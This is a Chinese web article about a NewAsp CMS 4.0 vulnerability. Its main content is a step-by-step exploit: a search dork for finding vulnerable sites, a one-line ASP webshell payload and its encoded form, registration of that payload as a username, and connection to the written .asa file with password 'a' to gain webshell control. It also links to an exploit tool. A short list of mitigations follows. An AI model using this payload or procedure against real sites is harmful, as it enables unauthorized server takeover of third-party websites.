新云网站系统NewAsp CMS Version 4.0最新0daypc软件 文章资讯 手机软件

您当前的位置→图文中心安全防范新云网站系统NewAsp CMS Version 4.0最新0day

新云网站系统NewAsp CMS Version 4.0最新0day


2009/10/11  编辑:admin 来源:本站整理

概述:
          由于新云4.0对注册用户未过滤特殊字符, 造成黑客可以通过脚本编码转换将一句话木马写入数据信息库文件程序, 从而获得WEBSHELL权限。


测试:

   1. 打开www.google.cn   搜索关键字:Powered By NewAsp CMS Version 4.0 或 新云问吧
   
   2. 将<%execute request("a")%> 编码转换为 ┼攠數畣整爠煥敵瑳∨≡┩愾
  
   3. 以┼攠數畣整爠煥敵瑳∨≡┩愾   为用户名注册帐户

   4. 用一句话连载端连接 目标站点url/ask/data/ask_newasp.asa ,密码为 a

   5.上传脚本大马或者执行其它操作, 这里WEBSHELL权限已经获得。

预防:

    1.严格过滤注册用户名, 限制注册用户名长度及禁止特殊符号。
    2.更改ask/data/ask_newasp.asa 路径及名称。
    3.给文件夹做权限布置设置, 去除公共写入权限。

附必备工具:

新云当前最新Oday利用工具 1010

下载地址:http://www.arpun.com/soft/3392.html

相关文章
  • 新云内容关键字管理BUG
  • 解决新云系统国外空间生成HTML空白问题
  • 新云3系列伪静态完美规则
  • 新云网站系统NewAsp CMS Version 4.0最新0day
  • 新云4.0 0DAY+2种利用方法
  • 新云4.0如何让发表文章评论的窗口默认展开
  • 新云SEO优化要点
  • 新云网站管理系统安装与调试
  • 新云网站管理系统帮助问题集合
  • 解决新云CMS友情链接里的垃圾链接问题
  • 发表评论
    阅读排行
    相关热门
    网站帮助 - 广告合作 - 下载声明 - 网站地图